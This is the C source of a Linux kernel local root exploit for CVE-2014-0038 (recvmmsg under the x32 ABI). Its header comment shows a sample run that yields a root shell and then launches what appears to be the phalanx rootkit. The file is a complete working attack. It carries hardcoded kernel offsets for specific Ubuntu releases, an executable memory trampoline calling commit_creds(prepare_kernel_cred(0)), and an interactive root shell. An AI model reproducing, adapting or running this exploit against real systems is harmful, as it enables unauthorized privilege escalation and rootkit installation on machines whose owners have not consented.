/*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------
takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.
some things you could do while waiting:
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
* brew some coffee
* stare at the countdown giggly with anticipation
could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..
same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y
user@ubuntu:~$ uname -a
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
user@ubuntu:~$ ./recvmmsg
byte 3 / 3.. ~0 secs left.
w00p w00p!
# id
uid=0(root) gid=0(root) groups=0(root)
# sh phalanx-2.6b-x86_64.sh
unpacking..
:)=
greets to my homeboys kaliman, beist, capsl & all of #social
Sat Feb 1 22:15:19 CET 2014
% rebel %
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200
int
port;
struct
offset {
char
*kernel_version;
unsigned
long
dest;
// net_sysctl_root + 96
unsigned
long
original_value;
// net_ctl_permissions
unsigned
long
prepare_kernel_cred;
unsigned
long
commit_creds;
};
struct
offset offsets[] = {
{
"3.11.0-15-generic"
,0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0},
// Ubuntu 13.10
{
"3.11.0-12-generic"
,0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40},
// Ubuntu 13.10
{
"3.8.0-19-generic"
,0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500},
// Ubuntu 13.04
{NULL,0,0,0,0}
};
void
udp(
int
b) {
int
sockfd;
struct
sockaddr_in servaddr,cliaddr;
int
s = 0xff+1;
if
(fork() == 0) {
while
(s > 0) {
fprintf(stderr,
"\rbyte %d / 3.. ~%d secs left \b\b\b\b"
,b+1,3*0xff - b*0xff - (0xff+1-s));
sleep(1);
s--;
fprintf(stderr,
"."
);
}
sockfd = socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,
sizeof
(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
servaddr.sin_port=htons(port);
sendto(sockfd,
"1"
,1,0,(
struct
sockaddr *)&servaddr,
sizeof
(servaddr));
exit(0);
}
}
void
trigger() {
open(
"/proc/sys/net/core/somaxconn"
,O_RDONLY);
if
(getuid() != 0) {
fprintf(stderr,
"not root, ya blew it!\n"
);
exit(-1);
}
fprintf(stderr,
"w00p w00p!\n"
);
system(
"/bin/sh -i"
);
}
typedef
int
__attribute__((regparm(3))) (* _commit_creds)(unsigned
long
cred);
typedef unsigned
long
__attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned
long
cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
// thx bliss
static
int
__attribute__((regparm(3)))
getroot(
void
*head,
void
* table)
{
commit_creds(prepare_kernel_cred(0));
return
-1;
}
void
__attribute__((regparm(3)))
trampoline()
{
asm(
"mov $getroot, %rax; call *%rax;"
);
}
int
main(
void
)
{
int
sockfd, retval, i;
struct
sockaddr_in sa;
struct
mmsghdr msgs[VLEN];
struct
iovec iovecs[VLEN];
char
buf[BUFSIZE];
long
mmapped;
struct
utsname u;
struct
offset *off = NULL;
uname(&u);
for
(i=0;offsets[i].kernel_version != NULL;i++) {
if
(!strcmp(offsets[i].kernel_version,u.release)) {
off = &offsets[i];
break
;
}
}
if
(!off) {
fprintf(stderr,
"no offsets for this kernel version..\n"
);
exit(-1);
}
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;
srand(time(NULL));
port = (rand() % 30000)+1500;
commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
mmapped = (
long
)mmap((
void
*)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if
(mmapped == -1) {
perror(
"mmap()"
);
exit(-1);
}
memset((
char
*)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
memcpy((
char
*)mmapped + sysconf(_SC_PAGE_SIZE), (
char
*)&trampoline, 300);
if
(mprotect((
void
*)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror(
"mprotect()"
);
exit(-1);
}
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if
(sockfd == -1) {
perror(
"socket()"
);
exit(-1);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if
(bind(sockfd, (
struct
sockaddr *) &sa,
sizeof
(sa)) == -1) {
perror(
"bind()"
);
exit(-1);
}
memset(msgs, 0,
sizeof
(msgs));
iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0];
msgs[0].msg_hdr.msg_iovlen = 1;
for
(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (
void
*)off->dest+7-i);
if
(!retval) {
fprintf(stderr,
"\nrecvmmsg() failed\n"
);
}
}
close(sockfd);
fprintf(stderr,
"\n"
);
trigger();
}